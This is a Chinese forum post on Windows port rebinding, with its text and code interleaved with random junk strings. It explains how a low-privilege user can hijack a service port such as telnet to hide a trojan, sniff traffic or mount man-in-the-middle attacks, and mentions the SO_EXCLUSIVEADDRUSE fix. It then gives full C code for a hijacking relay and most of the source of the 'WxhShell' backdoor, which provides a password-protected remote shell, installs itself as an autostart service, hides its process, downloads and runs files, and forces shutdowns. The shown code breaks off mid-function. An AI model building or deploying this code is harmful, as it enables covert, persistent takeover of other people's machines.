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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :j[a X7Sq2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D4;6}gRC  
l>{+X )  
  saddr.sin_family = AF_INET; (rB?@:zN  
OJTEvb6nPg  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); q%\rj?U_  
jdW#; ]7+y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); yr, Oq~e  
w W1>#F  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !dZpV~g0  
a/s6|ri`0  
  这意味着什么?意味着可以进行如下的攻击: u(bPdf@kz  
5l,Q=V^@l  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 yE>f.|(  
$,DX^I%!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [&H?--I  
+E8}5pDt  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 K.I  \E  
^ e4y:#Nu  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  e,rCutA)  
QCVwslj,K  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ppXt8G3% x  
w?Nx ^)xX  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 q@8j[15  
Yt#e[CYnu  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 81&5g'  
r5(-c]E7  
  #include [2Rw)!N  
  #include W y%'<f  
  #include I$vM )+v=  
  #include    9<Kc9Z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   lL]8~3b  
  int main() &bw ``e&c  
  { 9G)q U  
  WORD wVersionRequested; `|d&ta[{  
  DWORD ret; ?> SH`\  
  WSADATA wsaData; .X(*mmH  
  BOOL val; Ii4lwZnz  
  SOCKADDR_IN saddr; mIUpAOC`"Z  
  SOCKADDR_IN scaddr; &] euL:C  
  int err; Lf} @v  
  SOCKET s; -4!i(^w[m/  
  SOCKET sc; q[T='!Z\  
  int caddsize; `Q~`Eq?@  
  HANDLE mt; y*fU_Il|!  
  DWORD tid;   Kk t9M\  
  wVersionRequested = MAKEWORD( 2, 2 ); $IB>a  
  err = WSAStartup( wVersionRequested, &wsaData ); 6D n[9V  
  if ( err != 0 ) { +(9qAB7  
  printf("error!WSAStartup failed!\n"); 2 bQC 2  
  return -1; {S;/+X,  
  } }iF"&b0n"  
  saddr.sin_family = AF_INET; vJE>H4qPmD  
   JJe?Zu\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %U$PcHOo  
J;S@Q/s  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); is,r:  
  saddr.sin_port = htons(23); ]/C1pG*o  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yg-uL48q  
  { `fUem,$)1F  
  printf("error!socket failed!\n"); SpG^kI #  
  return -1; )s';m$  
  } 9azk(OL6  
  val = TRUE; #7~i.8L  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |[]"{Eo"}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2n`OcXCh/  
  { 'G-zJcU  
  printf("error!setsockopt failed!\n"); *=O~TY<](  
  return -1; /92m5p  
  } |K%nVcR=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; WF{rrU:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Gj}P6V _  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 BHW8zY=F  
XCTee  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) I!;&#LT+b  
  { hiN6]jL|O  
  ret=GetLastError(); -{A!zTw1w  
  printf("error!bind failed!\n"); *0aU(E #  
  return -1; D{!NTr  
  } "77 j(Vs9  
  listen(s,2); `1$7. ydQ  
  while(1) Vgh_F8G!V  
  { RW@sh9  
  caddsize = sizeof(scaddr); k 8Swra?j  
  //接受连接请求 k!lz_Y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); l'2a?1/q  
  if(sc!=INVALID_SOCKET) I}aiy.l  
  { @I '_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %kg%ttu7  
  if(mt==NULL) 6k=ink-/  
  { T"2D<7frbo  
  printf("Thread Creat Failed!\n"); ;&Oma`Ec  
  break; 9rn[46s`  
  } >|[74#}7  
  } `<C/-Au  
  CloseHandle(mt); yn[^!GuJ_  
  } fi2@`37PM  
  closesocket(s); n>Rt9   
  WSACleanup(); x@I(G "  
  return 0; U&D"fM8  
  }   )&j4F)  
  DWORD WINAPI ClientThread(LPVOID lpParam) }cL9`a9j  
  { L##lXUl  
  SOCKET ss = (SOCKET)lpParam; ~ZSP K;D[  
  SOCKET sc; Xh,{/5m  
  unsigned char buf[4096]; <E(#;F^y  
  SOCKADDR_IN saddr; W:7oGZ>4  
  long num; Vc! ;O9dP  
  DWORD val; /Wh} ;YTv^  
  DWORD ret; }D7q)_g=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 L{)e1p]q  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !6pOY*> j  
  saddr.sin_family = AF_INET; FX FTf2*T  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); xsx @aF  
  saddr.sin_port = htons(23); z~/z>_y$nv  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  pv=g)  
  { ;^Vsd\ac0  
  printf("error!socket failed!\n"); K>h=  
  return -1; "b!EtlT9  
  } !`k{Ga  
  val = 100; T'cahkSw'O  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T #&9|  
  { L44/eyrp  
  ret = GetLastError(); 3+<}Hm+  
  return -1; !po8[fz~x  
  } <|M cE  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0@yHT-Dy  
  { J>YwMl  
  ret = GetLastError(); !79^M  
  return -1; wjF/c  
  } h7NS9CgO  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) jB*%nB*x  
  { ZkW,  
  printf("error!socket connect failed!\n"); a{7>7%[  
  closesocket(sc); sS, Swgr  
  closesocket(ss); /#z5bo  
  return -1;  $&96qsr  
  } (KDUX t.  
  while(1) Tw< N  
  { a a=GW%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #7IM#t c@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 G}d-L!YbE'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 r=<Oy1m/  
  num = recv(ss,buf,4096,0); fQ5V RpWGn  
  if(num>0) 1nb]~{l  
  send(sc,buf,num,0); l@a>"\><i*  
  else if(num==0) ca@0?q#  
  break; 9Xt5{\PJ  
  num = recv(sc,buf,4096,0); }&)X4=  
  if(num>0) TC80nP   
  send(ss,buf,num,0); /vi>@a  
  else if(num==0) )oJn@82C|  
  break; L'LZK  
  } $9DV }  
  closesocket(ss); :?s~,G_*l  
  closesocket(sc); M-3kF"  
  return 0 ; QCFLi n+r  
  }  `Nn=6[]  
05mjV6j7m  
%O`e!p  
========================================================== PpD ?TAlA  
nc#}-}`5  
下边附上一个代码,,WXhSHELL s l|n]#)  
3%Z:B8:<y  
========================================================== tr6<89e(o  
F_o5(`>^  
#include "stdafx.h" { as#lHn  
P08=?  
#include <stdio.h> +1R?R9^Fw  
#include <string.h> pe>R2<!$  
#include <windows.h> =EI>@Y"  
#include <winsock2.h> V(mz||'*  
#include <winsvc.h> )<bgZ, v  
#include <urlmon.h> 5o 4\Jwt  
sK8=PZ \  
#pragma comment (lib, "Ws2_32.lib") n=#AH;42  
#pragma comment (lib, "urlmon.lib") V&U1WV/  
oa(R,{_*q  
#define MAX_USER   100 // 最大客户端连接数 nqNL[w6{  
#define BUF_SOCK   200 // sock buffer ^s/HbCA  
#define KEY_BUFF   255 // 输入 buffer !%{/eQFT4  
iB;EV8E  
#define REBOOT     0   // 重启 ES[H^}|Gi  
#define SHUTDOWN   1   // 关机 K,{P b?  
#T1py@b0zA  
#define DEF_PORT   5000 // 监听端口 YIv!\`^ \  
F!*u}8/_!  
#define REG_LEN     16   // 注册表键长度 duCxYhh|  
#define SVC_LEN     80   // NT服务名长度 j+He8w-4  
pj:s+7"t  
// 从dll定义API K' xN>qc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9P;}P! W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S)T]>Ash  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {  O+d7,C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @sUYjB  
r>4HF"Nm  
// wxhshell配置信息 jnfktDV'  
struct WSCFG { TbqH-R3W  
  int ws_port;         // 监听端口 ^'j? { @  
  char ws_passstr[REG_LEN]; // 口令 (_h<<`@B  
  int ws_autoins;       // 安装标记, 1=yes 0=no C7#ji"t  
  char ws_regname[REG_LEN]; // 注册表键名 )[&'\SOO  
  char ws_svcname[REG_LEN]; // 服务名 ~.99H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qPeaSv]W  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fYrC;&n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 22aS <@}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 84v7g`lrR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .{[+d3+,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c++GnQc.  
N `-\'h  
}; npC:SrI%  
"mlVs/nsyG  
// default Wxhshell configuration E9e|+$  
struct WSCFG wscfg={DEF_PORT, 8aDh HXI  
    "xuhuanlingzhe", s8L=:hiSf)  
    1, {cmY`to  
    "Wxhshell", <d89eV+  
    "Wxhshell", !nh7<VJ  
            "WxhShell Service", )Il) H  
    "Wrsky Windows CmdShell Service", 28,Hd!{  
    "Please Input Your Password: ", 2P3,\L  
  1, [B<htD&  
  "http://www.wrsky.com/wxhshell.exe", 72uARF  
  "Wxhshell.exe" iI T7pq1  
    }; RCM;k;@8V  
O# n<`;W  
// 消息定义模块 i\~@2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Jbv66)0M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cAFYEx/(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $*N^ bj  
char *msg_ws_ext="\n\rExit."; *AK{GfP_  
char *msg_ws_end="\n\rQuit."; Kvx~2ZMx6  
char *msg_ws_boot="\n\rReboot..."; .nDB{@#  
char *msg_ws_poff="\n\rShutdown..."; KrVP#|9%"  
char *msg_ws_down="\n\rSave to "; t}FwS6u  
=PU! hZj"L  
char *msg_ws_err="\n\rErr!"; mhh^kwW  
char *msg_ws_ok="\n\rOK!"; P/%5J3_,  
yN-o?[o  
char ExeFile[MAX_PATH]; -rg >y!L  
int nUser = 0; 2F5*C  
HANDLE handles[MAX_USER]; >6yA+?[:  
int OsIsNt; i7rO 5<  
p;#@#>h  
SERVICE_STATUS       serviceStatus; \ @XvEx%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7]\_7L|>]  
h 8Shf"  
// 函数声明 g$X4ZRSel  
int Install(void); h{xq  
int Uninstall(void); 8v{0=9,Z  
int DownloadFile(char *sURL, SOCKET wsh); 'PO+P~|oa&  
int Boot(int flag); }4$k-,1S  
void HideProc(void); 'Cr2& dy  
int GetOsVer(void); w3hG\2)[HS  
int Wxhshell(SOCKET wsl); olA 1,8  
void TalkWithClient(void *cs); m2sf]-?Y  
int CmdShell(SOCKET sock); ^@91BY  
int StartFromService(void); Hs9; &C  
int StartWxhshell(LPSTR lpCmdLine); 'xK ,|U  
7-#R[8S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IOL5p*:gz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 79HKfG2+KB  
!H)Cua)  
// 数据结构和表定义 ;@5N  
SERVICE_TABLE_ENTRY DispatchTable[] = h7?uM^p  
{ p.%lE! v  
{wscfg.ws_svcname, NTServiceMain}, U5[,UrC  
{NULL, NULL} %Z.!T  
}; z4!Y9  
FaA'%P@  
// 自我安装 ?aMd#.&  
int Install(void) ,F;<Y9]  
{ Fu%D2%V$/  
  char svExeFile[MAX_PATH]; 5~ip N/)E  
  HKEY key; }Bk>'  
  strcpy(svExeFile,ExeFile); @#u'z ~a)  
{7F?30: ]  
// 如果是win9x系统,修改注册表设为自启动 6'Sq|@VOi  
if(!OsIsNt) { :o37 V!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +cXdF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1uwzo9Yg  
  RegCloseKey(key); !3*:6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }c]u'a!4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [D$% LRX  
  RegCloseKey(key); vx7wW<e%D  
  return 0; "a T "o  
    } dj}y6V&  
  } "|,;~k1  
} PI-o)U$Ehv  
else { 6}/m~m  
:qAF}|6  
// 如果是NT以上系统,安装为系统服务 BN]{o(EB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9coN >y  
if (schSCManager!=0) }57d3s  
{ +$CO  
  SC_HANDLE schService = CreateService #Y_v0.N  
  ( E9N.b.Q)  
  schSCManager, y+aL5$x6  
  wscfg.ws_svcname, U L3++bt  
  wscfg.ws_svcdisp, 9JtPP  
  SERVICE_ALL_ACCESS, (~U1 X4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^`*p;&(K\^  
  SERVICE_AUTO_START, [&MhAzF  
  SERVICE_ERROR_NORMAL, hLo'q^mGr  
  svExeFile, B[IqLD'6  
  NULL, x2M{=MExE.  
  NULL, o0 &pSCK  
  NULL, .E/NlGm[  
  NULL, SbYs a  
  NULL zNh$d;(O$^  
  ); +)<H,?/  
  if (schService!=0) .}*_NU   
  { _mG>^QI.  
  CloseServiceHandle(schService); "k> ;K,:  
  CloseServiceHandle(schSCManager); A5q%yt I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S(NUuu}S  
  strcat(svExeFile,wscfg.ws_svcname); w+Oo-AGNH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HUWCCVn&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +cf.In,{  
  RegCloseKey(key); <8sy*A?0z  
  return 0; Su>UXuNdE#  
    } O_^X:0}  
  } " ra C?H  
  CloseServiceHandle(schSCManager); z$]HZ#aRE  
} p6*|)}T_%  
} Kc#42 C;t/  
.!2Ac  
return 1; \0bZ1"  
} mA" 82"   
JANP_b:t  
// 自我卸载 Xhk_h2F[  
int Uninstall(void) nNP{>\x;"  
{ k<.VR"I p  
  HKEY key; @'lO~i  
r$/.x6g//  
if(!OsIsNt) { R1j)0b6cQ%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R2B0?fu  
  RegDeleteValue(key,wscfg.ws_regname); =>u9k:('9  
  RegCloseKey(key); ];7/DM#Np  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wPRs.(]_  
  RegDeleteValue(key,wscfg.ws_regname); \CKf/:"  
  RegCloseKey(key); a";xG,U  
  return 0; !<AY0fpY  
  } &h67LMD!  
} KOP*\\1 J  
} EwuBL6kN  
else { eT ZQ[qMp  
ATq-&1hs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K4|{[YpPB  
if (schSCManager!=0) I/Q5Y-atg  
{ ufc_m4PN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /sa\Ze;E  
  if (schService!=0) 0Ik}\lcn  
  { nd xijqw  
  if(DeleteService(schService)!=0) { = k|hH~  
  CloseServiceHandle(schService); y|O)i I/g  
  CloseServiceHandle(schSCManager); P;~P:qKd  
  return 0; Ag@R60#  
  } >^V3Z{;  
  CloseServiceHandle(schService); +f]\>{o4  
  } 7nOn^f D  
  CloseServiceHandle(schSCManager); AOVoOd+6  
} A_}%YHb  
} Jz Z9ua  
B_uAa5'  
return 1; oHj64fE9  
} U.0bbr  
\[5mBuk  
// 从指定url下载文件 +/Vi"  
int DownloadFile(char *sURL, SOCKET wsh) [-*8 S1  
{ K" U!SWv  
  HRESULT hr; a8[Q1Fa4|  
char seps[]= "/"; g$eZT{{W  
char *token; TU,k( `tn<  
char *file; =S|^pN  
char myURL[MAX_PATH]; Kj`sq":Je0  
char myFILE[MAX_PATH]; o7#Mr`6H  
S&w(H'4N  
strcpy(myURL,sURL); 8QaF(?  
  token=strtok(myURL,seps); J`@#yHL  
  while(token!=NULL) q oJ4w7  
  { Ze>Pg.k+  
    file=token; 'RjMwJy{  
  token=strtok(NULL,seps); M~ ^ {S[o  
  } ZPolE_P7  
JJn+H&[B  
GetCurrentDirectory(MAX_PATH,myFILE); i[M]d`<36  
strcat(myFILE, "\\"); kFi^P~3D[  
strcat(myFILE, file); J&jNONu?  
  send(wsh,myFILE,strlen(myFILE),0); my(yN|  
send(wsh,"...",3,0); 9b}AZ]$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xB&6f")  
  if(hr==S_OK) .wv!;  
return 0; va_TC!{;  
else W2 ([vRT  
return 1; O&c~7tM%  
$xsmF?Dsx5  
} QW_QizR>|  
*E-VS= #  
// 系统电源模块 K`d3p{M  
int Boot(int flag) :.,3Zw{l  
{ 3ZKaqwK  
  HANDLE hToken; 9X2 lH~C  
  TOKEN_PRIVILEGES tkp; ^"?b!=n!  
t<Z)D0.  
  if(OsIsNt) { $3C$])k  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;*8nd-\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !Ho=(6V  
    tkp.PrivilegeCount = 1; D;l)&"|r?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LN?b6s75U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^M Zdht   
if(flag==REBOOT) { 9+sOSz~ P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nPj/C7j  
  return 0; 0- 'f1 1S  
} ,B<Tt|'  
else { }nW)+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,UD,)ZPf[  
  return 0; ecI[lB  
} =>7\s}QZ  
  } bC mhlSNi  
  else { VC6S4FU4K  
if(flag==REBOOT) { t,8p}2,$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +yYv"J  
  return 0; # Y*cLN`Y7  
} B?xu!B,  
else { ZoiCdXvTN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  9g*MBe:  
  return 0; R{"7q:-  
} |F'k5Lh  
} 1wqsGad+;  
oV c l (  
return 1; r|WoM39bp  
} 0*.> >rI  
:K) =Hf2y  
// win9x进程隐藏模块 9N[vNg<n  
void HideProc(void) *<**rY*  
{ Z`l97$\  
EPz$`#Sh"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /?; 8F  
  if ( hKernel != NULL ) _S(]/d(c  
  { 5[Ryc[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +c699j;[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R":nG7o  
    FreeLibrary(hKernel); p5KM(N6f  
  } f]BG`rJX  
E&/D%}Wl  
return; (zFUC]  
} V+()`>44  
oj7X9~ nd  
// 获取操作系统版本 _`JY A  
int GetOsVer(void) tzxp0&:Z].  
{ m_TZY_;  
  OSVERSIONINFO winfo; jaAv_=93f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U/B1/96lJ  
  GetVersionEx(&winfo); $rySz7NI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^;2dZgJ4^  
  return 1; <N%8"o  
  else X^#.4:>.  
  return 0; o%Lk6QA$  
} Z:#-4CiP  
H>-?/H  
// 客户端句柄模块 {V!Jj6n  
int Wxhshell(SOCKET wsl) =#i#IF42?  
{ j${:Y$VmE  
  SOCKET wsh; UC^Bn1  
  struct sockaddr_in client; N.q4Ar[x#p  
  DWORD myID; -ANp88a  
F*QD\sG:  
  while(nUser<MAX_USER) >NN|vj  
{ #4{f2s[j6  
  int nSize=sizeof(client); (WK $ )f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [UI4YZu}  
  if(wsh==INVALID_SOCKET) return 1; =*q:R9V  
p;VqkSQ76  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N,w;s-*  
if(handles[nUser]==0) qVFz-!6b  
  closesocket(wsh); |67j__XC  
else yKO84cSl  
  nUser++; /FiFtAbb  
  } q4$R?q:^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  Lp%V$'  
s &v<5W2P  
  return 0; >qn@E?Uf  
} W|T"'M_  
.ukP)rGe  
// 关闭 socket H{x}gBQ  
void CloseIt(SOCKET wsh) unmuY^+<  
{ n>\BPiz  
closesocket(wsh); YtNoYOB  
nUser--; J-fU,*Bk  
ExitThread(0); &L-y1'i=j  
} &_&])V)<\S  
: H<u@%  
// 客户端请求句柄 ~Gc+naE>  
void TalkWithClient(void *cs) 0x0.[1mB  
{  !+IxPn  
3Fh<%<=  
  SOCKET wsh=(SOCKET)cs; {R[lsdH(X  
  char pwd[SVC_LEN]; B[-%A!3 F  
  char cmd[KEY_BUFF]; B|%=<1?  
char chr[1]; 4(&00#Yxg2  
int i,j; C9Fc(Y?_  
(@M=W.M#  
  while (nUser < MAX_USER) { Xt'R@"H<V9  
']f]:X;6 w  
if(wscfg.ws_passstr) { \ +v_6F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i,ku91T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f+s'.z%  
  //ZeroMemory(pwd,KEY_BUFF); quf,Z K5  
      i=0; m0F-[k3)  
  while(i<SVC_LEN) { `S<uh9/  
(H+'sf^h  
  // 设置超时 5Zn3s()  
  fd_set FdRead; vsoj] R$C  
  struct timeval TimeOut;  iTbmD  
  FD_ZERO(&FdRead); ,^|+n()O  
  FD_SET(wsh,&FdRead); ]-)qL[Q  
  TimeOut.tv_sec=8; W1y,.6  
  TimeOut.tv_usec=0; . xX xjl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^k^%w/fo  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b_Ba0h=  
I]Wb\&$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )TyL3Z\>(  
  pwd=chr[0]; +U+c] Xgt  
  if(chr[0]==0xd || chr[0]==0xa) { 'y}A3 RqN  
  pwd=0; _J   
  break; LjXtOF  
  } *kL1r w6  
  i++; 7=T0Sa*;  
    } ` M4; aN  
QsDa b4  
  // 如果是非法用户,关闭 socket GWA_,/jS%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fdd3H[  
} OU9=O>  
0+r/>-3]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); HK&F'\'}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =q[3/'2V$?  
K N0S$nW+  
while(1) { ;=)CjC8)  
xvp{F9~qT  
  ZeroMemory(cmd,KEY_BUFF); f*5=,$0  
uVu`TgbZ  
      // 自动支持客户端 telnet标准   ]pb;q(?^  
  j=0; [rPW@|^5  
  while(j<KEY_BUFF) { TmX~vZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K~,,xsy,G&  
  cmd[j]=chr[0]; o?p) V^7  
  if(chr[0]==0xa || chr[0]==0xd) {  }tv-  
  cmd[j]=0; gMI%z2]'-  
  break; B7 }-g"p$/  
  } ,{8~TVO  
  j++; LUo3y'  
    } .Ji r<"*<  
P$]Vb'Fz  
  // 下载文件 g-}Vu1w0{6  
  if(strstr(cmd,"http://")) { ,fET.s^|U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c q3C N@  
  if(DownloadFile(cmd,wsh)) (eO0 Ic[c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A2rr>  
  else j*QY_Ny*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J4lE7aFDA~  
  } %iD>^Dp  
  else { *A,=Y/  
[(btpWxb^  
    switch(cmd[0]) { =nid #<X  
  msY"Y*4  
  // 帮助 U}Xc@- \ ?  
  case '?': { %WCpn<)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |UR.7rOV  
    break; 8zVXQ!'  
  } &]vd7Q.t  
  // 安装 u3k+Xg:  
  case 'i': { XkdNWR0  
    if(Install()) $AsM 9D<BE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3\D jV2t  
    else 5>A3;P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iNQk{n  
    break; ix!u#7  
    } 1Kc* MS  
  // 卸载 qM1$?U  
  case 'r': { &LL81u6=S  
    if(Uninstall()) `+zr PpX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uft~+w P  
    else Xd|5{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3tLh{S?uJ  
    break; ;WGY)=-gv  
    } `RmB{qgB  
  // 显示 wxhshell 所在路径 9wWjl}%  
  case 'p': { 4-3B"  
    char svExeFile[MAX_PATH]; |{oKhC^yG  
    strcpy(svExeFile,"\n\r"); dr/!wr'&hS  
      strcat(svExeFile,ExeFile); *VRFs=  
        send(wsh,svExeFile,strlen(svExeFile),0); X^xu$d6   
    break; 4El{2cfA  
    } Q?1 KxD!  
  // 重启 O]2h=M@q.  
  case 'b': { **s:H'Mw_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^?J:eB!  
    if(Boot(REBOOT)) 1km=9[;w'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %0u7pk  
    else { #d|.BxH  
    closesocket(wsh); 1^Caz-  
    ExitThread(0); d[$1:V  
    } ^R<= }  
    break; y"9TS,lmK  
    } 9Hc#[Ml  
  // 关机 k8*=1kl"  
  case 'd': { 8g0& (9<)  
